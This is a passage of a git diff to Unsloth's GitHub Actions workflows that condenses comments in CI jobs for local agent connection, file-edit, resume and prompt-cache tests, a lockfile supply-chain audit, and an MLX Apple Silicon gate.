- 'studio/backend/routes/inference.py'
- 'studio/backend/main.py'
- 'studio/backend/core/inference/llama_cpp.py'
- 'studio/backend/models/**'
- 'install.sh'
- '.github/workflows/local-agent-guides-ci.yml'
- # Every connection cell installs through install-unsloth-local, and install.sh
- # --local hands off to studio/setup.sh, which runs the installer modules below.
- # They pick the llama-server binary that serve-unsloth-run.sh and
- # assert-prompt-cache.sh measure; pyproject.toml and the backend requirements
- # decide what is installed.
+ # install.sh --local runs studio/setup.sh and these installer modules, which pick the measured llama-server.
- 'studio/setup.sh'
- 'studio/install_*.py'
- 'studio/prebuilt_core.py'
@@ -74,7 +37,7 @@ on:
- 'studio/backend/requirements/**'
- '.github/scripts/retry-with-apt-lock.sh'
# The install step in this workflow is `uses:` on that composite action,
- # so an edit to the action changes what this workflow actually runs.
+ # so edits to the action must trigger this workflow.
- '.github/actions/install-unsloth-local/action.yml'
# Reached through install-unsloth-local, which uses the dist and uv cache pairs.
- '.github/actions/frontend-dist-restore/action.yml'
@@ -85,7 +48,6 @@ on:
- '.github/scripts/assert-prompt-cache.sh'
- '.github/scripts/agent-guides-install.sh'
- '.github/scripts/agent-guides-drive.sh'
- # Every GGUF download in every job goes through it.
- '.github/scripts/hf-download-with-retry.sh'
- '.github/scripts/ci-connect-prompt.txt'
- '.github/scripts/ci-min-system-prompt.txt'
@@ -94,19 +56,13 @@ on:
- 'unsloth_cli/*'
- 'unsloth_cli/commands/*.py'
- 'studio/backend/routes/inference.py'
- # Contracts this workflow asserts that live outside routes/: the
- # /api/health endpoint, the llama-server KV-cache log behavior, and the
- # request/response schemas the agent dialects depend on.
+ # Contracts asserted here that live outside routes/ (/api/health, KV-cache logs, dialect schemas).
- 'studio/backend/main.py'
- 'studio/backend/core/inference/llama_cpp.py'
- 'studio/backend/models/**'
- 'install.sh'
- '.github/workflows/local-agent-guides-ci.yml'
- # Every connection cell installs through install-unsloth-local, and install.sh
- # --local hands off to studio/setup.sh, which runs the installer modules below.
- # They pick the llama-server binary that serve-unsloth-run.sh and
- # assert-prompt-cache.sh measure; pyproject.toml and the backend requirements
- # decide what is installed.
+ # install.sh --local runs studio/setup.sh and these installer modules, which pick the measured llama-server.
- 'studio/setup.sh'
- 'studio/install_*.py'
- 'studio/prebuilt_core.py'
@@ -143,38 +99,19 @@ concurrency:
permissions:
contents: read
-# Secret handling on pull_request: these jobs check out and run PR-controlled code
-# (install.sh, .github/scripts/**), so HF_TOKEN (an external HF credential) is gated
-# off pull_request at each step below -- public GGUF repos still download anonymously.
-# GH_TOKEN (GITHUB_TOKEN) is kept: it is the job-scoped contents:read token and
-# install_llama_prebuilt.py needs it for the GitHub releases API (else 403s).
+# PR runs execute PR-controlled code, so HF_TOKEN is withheld on pull_request (public GGUFs still
+# download). GH_TOKEN (job-scoped, contents: read) stays: install_llama_prebuilt.py needs it for the releases API.
env:
- # Determinism precedent (studio-inference-smoke.yml): temp 0 + fixed seed.
UNSLOTH_SEED: '3407'
- # A single invoke must never hang the runner on a headless TTY prompt. With
- # prefill-shrinking flags (minimal system prompt + restricted tools) a turn on
- # a 4B model finishes in a couple of minutes on CPU; this also caps how long a
- # still-large-prompt agent burns before failing. Well under the 6h job cap.
- #
- # Raised from 600. Those flags shrink what the SERVER puts in front of the model;
- # they do not touch a preamble the client assembles for itself, and Codex's is
- # several thousand tokens before the prompt is appended. Measured on this image at
- # 16.1 tok/s, that is ~460s of prompt processing to answer "pong" -- inside 600s on
- # paper, but only just, and the leg that has to survive it is the one that was
- # failing 88% of the time. The cap exists to stop a hang, not to enforce a
- # performance budget, so it is sized off the slowest legitimate turn rather than
- # the fastest. It only ever costs wall-clock on a run that was going to fail.
+ # Stops a headless TTY hang. Sized for the slowest legit turn: Codex's client preamble alone takes
+ # ~460s of prompt processing on CPU.
AGENT_INVOKE_TIMEOUT: '1200'
jobs:
# ═════════════════════════════════════════════════════════════════════
- # Job 1: connection
- # Per-agent: serve gemma-3-270m, HTTP-preflight the agent's dialect,
- # install the agent, run `unsloth start <agent> --no-launch`, execute
- # the emitted recipe with a trivial prompt, assert a non-empty reply.
- # Runs on PR + weekly + dispatch. Each matrix cell is its own runner so
- # it serves exactly one model on its own port.
+ # Job 1: connection. Per agent: serve, preflight the dialect, install, run the start.py recipe,
+ # assert a non-empty reply. One runner per cell, one model per port.
# ═════════════════════════════════════════════════════════════════════
connection:
name: connection (${{ matrix.agent }}, ${{ matrix.opencode_channel }})
@@ -193,12 +130,8 @@ jobs:
- agent: opencode
opencode_channel: v2
env:
- # gemma-4-E4B (128K context, capable enough to drive every agent for a
- # trivial reply; the 270m model produced empty/failed responses for
- # codex/openclaw). Hermes' 64K context floor no longer constrains the model
- # choice: write_hermes_config claims the floor for smaller windows and
- # scales compaction back to the real window. Served as a flat
- # GGUF file (the -MTP- repo ships no separate draft, so this is plain 4B).
+ # gemma-4-E4B: the 270m model gave empty replies for codex/openclaw. Flat GGUF; the -MTP- repo
+ # ships no separate draft.
GGUF_REPO: unsloth/gemma-4-E4B-it-GGUF
GGUF_FILE: gemma-4-E4B-it-UD-Q4_K_XL.gguf
STUDIO_PORT: '18901'
@@ -208,15 +141,8 @@ jobs:
persist-credentials: false
- name: Linux deps for llama.cpp prebuilt
- # Bounded and retried through the shared helper: an unbounded apt step does
- # not fail, it spends the job's whole budget and is reported as "cancelled"
- # with no reason and every later step skipped. update and install go as one
- # unit, since retrying the install after a stalled update re-reads the same
- # broken package list.
- # Two long attempts, not three short ones. 150s killed apt mid-`update`
- # against a mirror that was degraded rather than dead, and every attempt
- # then hit the same wall -- three kills and no result. The bound exists to
- # stop an infinite hang, not to race a slow mirror.
+ # Bounded and retried: an unbounded apt hang cancels the job with no reason. Two long attempts,
+ # since short ones kill a slow but working mirror.
timeout-minutes: 15
env:
RETRY_ATTEMPTS: '2'
@@ -248,7 +174,7 @@ jobs:
id: download-gguf
if: steps.cache-gguf.outputs.cache-hit != 'true' || steps.cache-gguf.outcome != 'success'
env:
- # Gated off PR (see note above); public GGUF still downloads.
+ # Withheld on PRs (see env note); public GGUFs still download.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
python -m pip install --upgrade huggingface_hub
@@ -256,19 +182,8 @@ jobs:
bash .github/scripts/hf-download-with-retry.sh "$GGUF_REPO" "$GGUF_FILE" gguf-cache
- name: Save GGUF model file
- # Save on main only. Caches created on a PR ref are scoped to that
- # merge ref -- per GitHub's docs they "can only be restored by re-runs
- # of the pull request" -- while every PR *can* restore from the default
- # branch. So a PR-scoped save helps almost nothing and competes for the
- # per-repo cache budget, and when that budget is exceeded GitHub evicts
- # by least-recently-used, which deletes main's copies that all PRs share.
- # This repo's budget is 50 GiB, not GitHub's 10GB default, and it was
- # measured at 49.63 GiB across 258 entries -- 99.3% full, so eviction runs
- # at the margin. 20.74 GiB of that (42%) is the SAME key held on several
- # refs, and every one of those keys already has a copy on main, so the
- # PR-scoped duplicates are redundant by construction. That is the thrash
- # loop: PR misses -> downloads -> saves its own copy -> evicts main's ->
- # next PR misses.
+ # Save on main only: PR-scoped caches only serve that PR and push main's shared copies out of the
+ # LRU-evicted, nearly full repo cache budget.
if: always() && github.ref == 'refs/heads/main' && steps.download-gguf.outcome == 'success'
uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0
with:
@@ -279,14 +194,13 @@ jobs:
uses: ./.github/actions/install-unsloth-local
with:
gh-token: ${{ secrets.GITHUB_TOKEN }}
- # Gated off PR (see note above); public GGUF still downloads.
+ # Withheld on PRs (see env note); public GGUFs still download.
hf-token: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
# ── boot the server under test (factored helper) ──────────────────
- name: Serve unsloth run --disable-tools (gemma-4-E4B)
run: |
- # Wipe, not reset-password: since #7573 the reset rotates in place and
- # prints the new passphrase, which would land unmasked in the job log.
+ # Wipe instead of reset-password: the reset prints the new passphrase into the job log.
rm -rf ~/.unsloth/studio/auth
bash .github/scripts/serve-unsloth-run.sh \
--gguf-file "$GITHUB_WORKSPACE/gguf-cache/${GGUF_FILE}" \
@@ -294,9 +208,7 @@ jobs:
--extra "--seed $UNSLOTH_SEED --temp 0" \
--health-timeout 900
- # ── (a) server/API preflight: prove the dialect works BEFORE the agent ─
- # Distinct error class. If this step fails it is a SERVER regression,
- # not the agent's or the guide's fault, and the agent steps never run.
+ # A failure here is a server regression (class a); the agent steps never run.
- name: Preflight the agent's API dialect (class-a isolation)
env:
AGENT: ${{ matrix.agent }}
@@ -312,7 +224,6 @@ jobs:
[ "$code" = "200" ] || preflight_fail "/v1/models returned HTTP $code"
case "$AGENT" in
claude)
- # Anthropic Messages dialect.
code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/messages" \
-H "Authorization: Bearer $K" -H 'content-type: application/json' \
--max-time 120 \
@@ -328,10 +239,7 @@ jobs:
[ "$code" = "200" ] || preflight_fail "/v1/responses returned HTTP $code"
;;
*)
- # OpenAI Chat Completions dialect (hermes/opencode/pi/openclaw).
- # OpenClaw's start.py recipe writes an "openai-completions"
- # provider (write_openclaw_config), so it uses this path, not
- # /v1/messages.
+ # OpenAI Chat Completions (hermes/opencode/pi/openclaw; openclaw's recipe writes an openai-completions provider).
code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/chat/completions" \
-H "Authorization: Bearer $K" -H 'content-type: application/json' \
--max-time 120 \
@@ -349,11 +257,7 @@ jobs:
run: bash .github/scripts/agent-guides-install.sh "$AGENT"
# ── (c) drive the agent via start.py and assert a reply ──────────
- # For the 5 agents with a start.py recipe we run
- # `unsloth start <agent> --no-launch`, eval its env/unset exports,
- # then run the printed command with a hard timeout (no headless-TTY
- # hang). Pi has no connect recipe, so it is driven by hand and the
- # cell asserts that absence is the (known) reason.
+ # Apply the env from `unsloth start <agent> --no-launch`, then run the printed command with a hard timeout.
- name: Drive ${{ matrix.agent }} via unsloth start (class-c isolation)
env:
AGENT: ${{ matrix.agent }}
@@ -364,13 +268,7 @@ jobs:
run: |
mkdir -p logs/studio-logs
cp -r "$HOME/.unsloth/studio/logs/." logs/studio-logs/ 2>/dev/null || true
- # Redact the key across the WHOLE logs/ tree, not just studio-logs:
- # serve-unsloth-run.sh records the `unsloth run` banner (which prints
- # `API Key: <key>`) into logs/unsloth-run-<port>.log, and the upload
- # step publishes all of logs/, so scrubbing only studio-logs would leak
- # the bearer token in the retained artifact.
- # Sweep EVERY uploaded path, not just logs/ -- redacted-configs/ and
- # agent-workdir/ are published by the same upload step.
+ # Redact the key in every uploaded path: the `unsloth run` banner prints `API Key: <key>` into logs/.
if [ -n "${UNSLOTH_API_KEY:-}" ]; then
grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do
sed -i "s#${UNSLOTH_API_KEY}#<REDACTED>#g" "$f" 2>/dev/null || true
@@ -380,8 +278,7 @@ jobs:
- name: Stop Unsloth
if: always()
run: |
- # Guard the PID: an unset/zero UNSLOTH_SERVER_PID would make
- # `kill 0` signal this step's whole process group and abort cleanup.
+ # An unset or zero PID would make `kill 0` signal this step's whole process group.
if [ -n "${UNSLOTH_SERVER_PID:-}" ] && [ "${UNSLOTH_SERVER_PID}" != "0" ]; then
kill "${UNSLOTH_SERVER_PID}" 2>/dev/null || true
fi
@@ -400,30 +297,16 @@ jobs:
retention-days: 7
# ═════════════════════════════════════════════════════════════════════
- # Job 2: file-edit
- # The deterministic 2-turn hello.py test on Qwen3.5-4B (smaller models
- # can't reliably drive the heavyweight agents' edit flows). Weekly +
- # dispatch only -- it is the slow, model-heavy job and must not gate PRs.
+ # Job 2: file-edit. Deterministic 2-turn hello.py test on Qwen3.5-4B; slow, so weekly + dispatch only.
# ═════════════════════════════════════════════════════════════════════
file-edit:
name: file-edit (${{ matrix.agent }})
- # Weekly / dispatch only, stated explicitly rather than as "not a PR".
- # The main push trigger above exists solely to seed the cache that the
- # save steps are now gated to main for, and `connection` already writes
- # the identical key (same GGUF_REPO and GGUF_FILE), so this job seeds
- # nothing new. Left as `!= 'pull_request'` a push would newly start its
- # 2-job matrix at 60 minutes each, which is runtime the seeding does not
- # need and which this job was never meant to spend outside its cron.
+ # Not run on main pushes: `connection` already seeds the identical cache key.
if: github.event_name == 'schedule' || github.event_name == 'workflow_dispatch'
runs-on: ubuntu-latest
timeout-minutes: 60
- # hermes and openclaw drive a multi-turn tool loop that a CPU-only runner
- # cannot finish in time (e.g. openclaw holds its 300s session-write-lock past
- # expiry; each turn re-prefills the tool prompt at ~16 tok/s). Their endpoint
- # wiring + generation are already hard-gated by the connection job, so the
- # file-edit cell is best-effort here -- it still runs and uploads logs, but a
- # timeout does not fail the workflow. Drop best_effort (or move e2e to a GPU
- # runner) to make it blocking again.
+ # hermes/openclaw tool loops cannot finish on CPU in time; connection already hard-gates their
+ # wiring, so these cells are best-effort.
continue-on-error: ${{ matrix.best_effort || false }}
strategy:
fail-fast: false
@@ -439,8 +322,6 @@ jobs:
- agent: dsh
best_effort: true
env:
- # gemma-4-E4B served as a flat GGUF file (cache size tracks the .gguf 1:1,
- # no xet-chunk inflation; the -MTP- repo ships no separate draft file).
GGUF_REPO: unsloth/gemma-4-E4B-it-GGUF
GGUF_FILE: gemma-4-E4B-it-UD-Q4_K_XL.gguf
STUDIO_PORT: '18902'
@@ -450,15 +331,8 @@ jobs:
persist-credentials: false
- name: Linux deps for llama.cpp prebuilt
- # Bounded and retried through the shared helper: an unbounded apt step does
- # not fail, it spends the job's whole budget and is reported as "cancelled"
- # with no reason and every later step skipped. update and install go as one
- # unit, since retrying the install after a stalled update re-reads the same
- # broken package list.
- # Two long attempts, not three short ones. 150s killed apt mid-`update`
- # against a mirror that was degraded rather than dead, and every attempt
- # then hit the same wall -- three kills and no result. The bound exists to
- # stop an infinite hang, not to race a slow mirror.
+ # Bounded and retried: an unbounded apt hang cancels the job with no reason. Two long attempts,
+ # since short ones kill a slow but working mirror.
timeout-minutes: 15
env:
RETRY_ATTEMPTS: '2'
@@ -490,7 +364,7 @@ jobs:
id: download-gguf
if: steps.cache-gguf.outputs.cache-hit != 'true' || steps.cache-gguf.outcome != 'success'
env:
- # Gated off PR (see note above); public GGUF still downloads.
+ # Withheld on PRs (see env note); public GGUFs still download.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
python -m pip install --upgrade huggingface_hub
@@ -508,7 +382,7 @@ jobs:
uses: ./.github/actions/install-unsloth-local
with:
gh-token: ${{ secrets.GITHUB_TOKEN }}
- # Gated off PR (see note above); public GGUF still downloads.
+ # Withheld on PRs (see env note); public GGUFs still download.
hf-token: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
- name: Serve unsloth run --disable-tools (gemma-4-E4B)
@@ -533,9 +407,7 @@ jobs:
code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/models" \
-H "Authorization: Bearer $K") || true
[ "$code" = "200" ] || preflight_fail "/v1/models returned HTTP $code"
- # Probe the same dialect the agent will use, so a streaming/messages
- # regression in the weekly run is reported as class (a) here instead of
- # surfacing later as guide drift (mirrors the connection job).
+ # Probe the agent's own dialect so a server regression reports as class (a), not guide drift.
case "$AGENT" in
claude)
code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/messages" \
@@ -552,7 +424,6 @@ jobs:
[ "$code" = "200" ] || preflight_fail "/v1/responses returned HTTP $code"
;;
*)
- # OpenAI Chat Completions dialect (hermes/opencode/pi/openclaw).
code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/chat/completions" \
-H "Authorization: Bearer $K" -H 'content-type: application/json' \
--max-time 120 \
@@ -577,13 +448,7 @@ jobs:
run: |
mkdir -p logs/studio-logs
cp -r "$HOME/.unsloth/studio/logs/." logs/studio-logs/ 2>/dev/null || true
- # Redact the key across the WHOLE logs/ tree, not just studio-logs:
- # serve-unsloth-run.sh records the `unsloth run` banner (which prints
- # `API Key: <key>`) into logs/unsloth-run-<port>.log, and the upload
- # step publishes all of logs/, so scrubbing only studio-logs would leak
- # the bearer token in the retained artifact.
- # Sweep EVERY uploaded path, not just logs/ -- redacted-configs/ and
- # agent-workdir/ are published by the same upload step.
+ # Redact the key in every uploaded path: the `unsloth run` banner prints `API Key: <key>` into logs/.
if [ -n "${UNSLOTH_API_KEY:-}" ]; then
grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do
sed -i "s#${UNSLOTH_API_KEY}#<REDACTED>#g" "$f" 2>/dev/null || true
@@ -593,8 +458,7 @@ jobs:
- name: Stop Unsloth
if: always()
run: |
- # Guard the PID: an unset/zero UNSLOTH_SERVER_PID would make
- # `kill 0` signal this step's whole process group and abort cleanup.
+ # An unset or zero PID would make `kill 0` signal this step's whole process group.
if [ -n "${UNSLOTH_SERVER_PID:-}" ] && [ "${UNSLOTH_SERVER_PID}" != "0" ]; then
kill "${UNSLOTH_SERVER_PID}" 2>/dev/null || true
fi
@@ -614,14 +478,8 @@ jobs:
retention-days: 7
# ═════════════════════════════════════════════════════════════════════
- # Job: resume
- # Does a conversation started with `unsloth start <agent>` survive exit
- # and resume? This drives the REAL launch path (not the --no-launch
- # recipe the other jobs use). A plain launch relocates the agent home to
- # a temp dir wiped on exit, so codex/pi cannot resume; --persist routes the
- # session to the stable Unsloth agents dir so it persists. opencode/claude
- # keep their session data in a fixed user dir, so they persist either way.
- # Dispatch-only: it is an end-to-end experiment, not a PR gate.
+ # Job: resume. Drives the real launch path: plain launch puts codex/pi homes in a temp dir wiped on
+ # exit, --persist keeps them; opencode/claude persist either way. Dispatch-only.
# ═════════════════════════════════════════════════════════════════════
resume:
name: resume (${{ matrix.agent }})
@@ -631,10 +489,7 @@ jobs:
strategy:
fail-fast: false
matrix:
- # codex/pi relocate their whole home (resume broken without --persist);
- # opencode/claude keep session data in a fixed dir (resume already works).
- # One agent from each class proves the split end to end; openclaw/hermes
- # share codex's relocation mechanism and are covered by the unit tests.
+ # One agent per class; openclaw/hermes share codex's relocation and are unit-tested.
agent: [codex, opencode, claude, pi]
env:
GGUF_REPO: unsloth/gemma-4-E4B-it-GGUF
@@ -646,15 +501,8 @@ jobs:
persist-credentials: false
- name: Linux deps for llama.cpp prebuilt
- # Bounded and retried through the shared helper: an unbounded apt step does
- # not fail, it spends the job's whole budget and is reported as "cancelled"
- # with no reason and every later step skipped. update and install go as one
- # unit, since retrying the install after a stalled update re-reads the same
- # broken package list.
- # Two long attempts, not three short ones. 150s killed apt mid-`update`
- # against a mirror that was degraded rather than dead, and every attempt
- # then hit the same wall -- three kills and no result. The bound exists to
- # stop an infinite hang, not to race a slow mirror.
+ # Bounded and retried: an unbounded apt hang cancels the job with no reason. Two long attempts,
+ # since short ones kill a slow but working mirror.
timeout-minutes: 15
env:
RETRY_ATTEMPTS: '2'
@@ -792,13 +640,8 @@ jobs:
retention-days: 7
# ═════════════════════════════════════════════════════════════════════
- # Job 3: prompt-cache
- # (a) curl 2-turn /v1/chat/completions: assert turn-2 cached_tokens > 0
- # (server prompt-cache sanity).
- # (b) Claude Code attribution A/B: with CLAUDE_CODE_ATTRIBUTION_HEADER=0
- # expect a llama-server KV-cache HIT on turn 2; without it expect a
- # MISS. If it inverts, the guide flag is stale.
- # PR + weekly + dispatch (cheap, gemma-3-270m).
+ # Job 3: prompt-cache. (a) turn-2 cached_tokens > 0; (b) Claude Code with
+ # CLAUDE_CODE_ATTRIBUTION_HEADER=0 hits the KV cache on turn 2, without it misses.
# ═════════════════════════════════════════════════════════════════════
prompt-cache:
name: prompt-cache (gemma-3-270m)
@@ -816,15 +659,8 @@ jobs:
persist-credentials: false
- name: Linux deps for llama.cpp prebuilt
- # Bounded and retried through the shared helper: an unbounded apt step does
- # not fail, it spends the job's whole budget and is reported as "cancelled"
- # with no reason and every later step skipped. update and install go as one
- # unit, since retrying the install after a stalled update re-reads the same
- # broken package list.
- # Two long attempts, not three short ones. 150s killed apt mid-`update`
- # against a mirror that was degraded rather than dead, and every attempt
- # then hit the same wall -- three kills and no result. The bound exists to
- # stop an infinite hang, not to race a slow mirror.
+ # Bounded and retried: an unbounded apt hang cancels the job with no reason. Two long attempts,
+ # since short ones kill a slow but working mirror.
timeout-minutes: 15
env:
RETRY_ATTEMPTS: '2'
@@ -841,9 +677,7 @@ jobs:
with:
python-version: '3.12'
- # Cross-OS shared entry. The tree under `hf-cache` is byte-identical on
- # Linux, macOS and Windows, so the key carries no `runner.os`, and
- # enableCrossOsArchive lets Windows (which tars with --force-local) join it.
+ # The hf-cache tree is identical across OSes, so the key has no runner.os (enableCrossOsArchive).
- name: Restore HF_HOME for ${{ env.GGUF_REPO }}
id: cache-hf
uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0
@@ -857,7 +691,7 @@ jobs:
id: prime-hf
if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
env:
- # Gated off PR (see note above); public GGUF still downloads.
+ # Withheld on PRs (see env note); public GGUFs still download.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
python -m pip install --upgrade huggingface_hub
@@ -876,7 +710,7 @@ jobs:
uses: ./.github/actions/install-unsloth-local
with:
gh-token: ${{ secrets.GITHUB_TOKEN }}
- # Gated off PR (see note above); public GGUF still downloads.
+ # Withheld on PRs (see env note); public GGUFs still download.
hf-token: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
- name: Serve unsloth run --disable-tools (gemma-3-270m)
@@ -887,10 +721,7 @@ jobs:
--port "$STUDIO_PORT" --log-dir logs \
--extra "--seed $UNSLOTH_SEED --temp 0"
- # (a) server prompt-cache sanity on the OpenAI chat path. The helper runs
- # the 2-turn probe internally (turn 2 reuses turn 1's prefix) and asserts
- # turn-2 usage.prompt_tokens_details.cached_tokens > 0. This is the hard
- # gate -- it proves llama.cpp KV reuse is surfaced on /v1/chat/completions.
+ # Hard gate: llama.cpp KV reuse must surface as cached_tokens on /v1/chat/completions.
- name: Server prompt-cache sanity (cached_tokens > 0)
run: bash .github/scripts/assert-prompt-cache.sh api "$UNSLOTH_BASE_URL" "$UNSLOTH_API_KEY"
@@ -899,12 +730,7 @@ jobs:
AGENT: claude
run: bash .github/scripts/agent-guides-install.sh claude
- # (b) Claude attribution A/B against the llama-server log. This is the most
- # environment-sensitive check (it depends on the bundled llama.cpp's
- # slot-reuse log wording and on claude --continue reusing the prefix), so
- # it is non-blocking until calibrated on the first scheduled run; the
- # server cache sanity above is the hard gate. The step still prints the
- # observed HIT/MISS so drift is visible in the log + artifacts.
+ # Non-blocking: depends on llama-server log wording and claude --continue prefix reuse.
- name: Claude attribution A/B (HIT with header=0, MISS without)
continue-on-error: true
run: bash .github/scripts/agent-guides-drive.sh attribution-ab claude
@@ -914,13 +740,7 @@ jobs:
run: |
mkdir -p logs/studio-logs
cp -r "$HOME/.unsloth/studio/logs/." logs/studio-logs/ 2>/dev/null || true
- # Redact the key across the WHOLE logs/ tree, not just studio-logs:
- # serve-unsloth-run.sh records the `unsloth run` banner (which prints
- # `API Key: <key>`) into logs/unsloth-run-<port>.log, and the upload
- # step publishes all of logs/, so scrubbing only studio-logs would leak
- # the bearer token in the retained artifact.
- # Sweep EVERY uploaded path, not just logs/ -- redacted-configs/ and
- # agent-workdir/ are published by the same upload step.
+ # Redact the key in every uploaded path: the `unsloth run` banner prints `API Key: <key>` into logs/.
if [ -n "${UNSLOTH_API_KEY:-}" ]; then
grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do
sed -i "s#${UNSLOTH_API_KEY}#<REDACTED>#g" "$f" 2>/dev/null || true
@@ -930,8 +750,7 @@ jobs:
- name: Stop Unsloth
if: always()
run: |
- # Guard the PID: an unset/zero UNSLOTH_SERVER_PID would make
- # `kill 0` signal this step's whole process group and abort cleanup.
+ # An unset or zero PID would make `kill 0` signal this step's whole process group.
if [ -n "${UNSLOTH_SERVER_PID:-}" ] && [ "${UNSLOTH_SERVER_PID}" != "0" ]; then
kill "${UNSLOTH_SERVER_PID}" 2>/dev/null || true
fi
diff --git a/.github/workflows/lockfile-audit.yml b/.github/workflows/lockfile-audit.yml
index 9cea7cce62c..b236af12712 100644
--- a/.github/workflows/lockfile-audit.yml
+++ b/.github/workflows/lockfile-audit.yml
@@ -1,37 +1,12 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-#
-# Fast, focused supply-chain audit of every checked-in lockfile.
-#
-# Runs scripts/lockfile_supply_chain_audit.py on PRs that touch any
-# npm or cargo lockfile, on push to main, and on a daily schedule so
-# newly-published IOCs surface even when no PR opens.
-#
-# Default behavior blocks public indicator-of-compromise strings,
-# known-malicious pinned versions, structurally broken lockfiles, and
-# provenance/integrity failures (non-registry resolved URL or cargo
-# source, missing integrity hash or cargo checksum) -- the pre-install
-# fetches this gate stops before `npm ci` runs lifecycle scripts.
-# Lesser anomalies warn; --strict escalates them to blocking.
-#
-# This workflow is intentionally separate from security-audit.yml:
-# - security-audit.yml is the umbrella job (pip-audit + npm audit +
-# cargo audit + OSV + Semgrep + secret scanning + SBOM + ...);
-# it takes ~25 minutes and runs only when dep manifests change.
-# - lockfile-audit.yml is a ~30 second pure-Python parse + grep on
-# the lockfiles themselves; it runs on every PR that even nudges
-# a lockfile so reviewers always see the audit result inline.
+# Fast supply-chain audit of checked-in npm/cargo lockfiles (scripts/lockfile_supply_chain_audit.py).
+# Blocks IOC strings, known-bad pins, broken lockfiles and provenance/integrity failures; --strict blocks warnings.
name: Lockfile supply-chain audit
-# Per-commit runs are gone: this audit now runs as a background lane inside Lint CI,
-# which already occupies a runner on every commit, so it costs a slot there instead of
-# holding one of its own for ~6s of work. Both call
-# .github/scripts/lane-lockfile-audit.sh, so there is one definition.
-#
-# The nightly schedule is deliberately KEPT. It is not the same check: it re-audits the
-# lockfiles as they stand against advisories published since the last commit, which no
-# commit-triggered run can do.
+# Per-commit runs live in the Lint CI lane (same lane-lockfile-audit.sh). The nightly stays: it re-audits
+# unchanged lockfiles against newly published advisories.
on:
schedule:
- cron: '37 5 * * *'
@@ -65,6 +40,5 @@ jobs:
with:
python-version: '3.12'
- # One definition, shared with the Lint CI lane that runs this on every commit.
- name: Run lockfile supply-chain audit
run: bash .github/scripts/lane-lockfile-audit.sh
diff --git a/.github/workflows/mlx-ci.yml b/.github/workflows/mlx-ci.yml
index e53e5d8c70e..cbf0b19a500 100644
--- a/.github/workflows/mlx-ci.yml
+++ b/.github/workflows/mlx-ci.yml
@@ -1,73 +1,10 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Focused PR gate for the MLX dispatch surface, running on a real
-# Apple Silicon runner.
-#
-# Runner: macos-26 (Apple Silicon standard runner, 3 vCPU / 7 GB
-# -- FREE for public repositories per the GitHub Actions billing
-# reference; larger -large/-xlarge variants are paid so
-# we deliberately avoid those).
-#
-# Why a single Mac job (no Linux+spoof leg): the dispatch tests are
-# 100% spoofed monkeypatches and run identically on any host, so the
-# Linux leg was duplicating the matrix tests already covered on Mac
-# while missing everything Apple-specific. The Mac job runs the SAME
-# spoofed matrix PLUS three things only a real Apple Silicon host
-# can prove:
-#
-# 1. unsloth._IS_MLX flips True on Darwin+arm64 with mlx genuinely
-# installed (no spoof).
-# 2. Every PR-A MLX-only unsloth_zoo module (mlx_loader, mlx_trainer,
-# mlx_compile, mlx_utils, mlx_cce, gated_delta_vjp) imports
-# against the real `mlx` + `mlx-lm` + `mlx-vlm` PyPI wheels --
-# each does `import mlx.core as mx` at module top level, so this
-# catches a future change that breaks the real wheels without
-# needing a Mac developer in the loop.
-# 3. The hardware-dispatch spoofs do not collide with the real
-# environment (the test fixture installs a MetaPathFinder that
-# blocks `import mlx.core` for "no-mlx" profiles, faithfully
-# simulating a Mac without mlx even when mlx IS installed).
-# 4. The Mac capability verdict /api/health publishes. Whether
-# the sidebar's Train and Video rows are enabled, greyed out
-# behind "Training needs MLX", or still spinning is decided by
-# that one reply, and the decision reads a real `import
-# mlx.core` and a real background reinstall. The unit tests
-# drive it with a fake clock and a stand-in worker; only here
-# is the host Apple Silicon and the MLX stack genuinely
-# present or genuinely absent. mac_capability_verdict_smoke.py
-# boots the server and judges every reply from the first one,
-# because the reported bug was a verdict that was wrong for a
-# while and right afterwards.
-# 5. End-to-end MLX training + inference smoke test:
-# run_real_mlx_smoke.py trains unsloth/gemma-3-270m-it for 7
-# deterministic LoRA steps on a single repeated text row, then
-# verifies the trained model can complete the prompt and that
-# losses + grad norms are finite and well-behaved. This is the
-# only place in CI that exercises a real MLX backward pass +
-# optimizer step + inference call.
-#
-# Dispatch test files documented in tests/studio/README.md:
-# - test_mlx_training_worker_behaviors.py AST contract checks on
-# studio/backend/core/training/worker.py
-# Run here because no other workflow claims it.
-#
-# test_hardware_dispatch_matrix.py and test_is_mlx_dispatch_gate.py are NOT run
-# here. Both are fully spoofed (monkeypatched profiles plus a MetaPathFinder
-# that blocks `import mlx.core`), so they assert identically on any host, and
-# studio-backend-ci.yml runs both on ubuntu-latest. macOS concurrency is capped
-# at 5 jobs account-wide; re-running host-independent tests on that pool is the
-# most expensive way to learn nothing new.
-#
-# Surfaces a single PR check ("MLX CI on Mac M1 / dispatch").
-#
-# Security audit footprint: every package this workflow installs is
-# already covered by .github/workflows/security-audit.yml -- the deps
-# come from studio/backend/requirements/studio.txt and unsloth-zoo's
-# pyproject (resolved transitively). The git+ install of unsloth-zoo
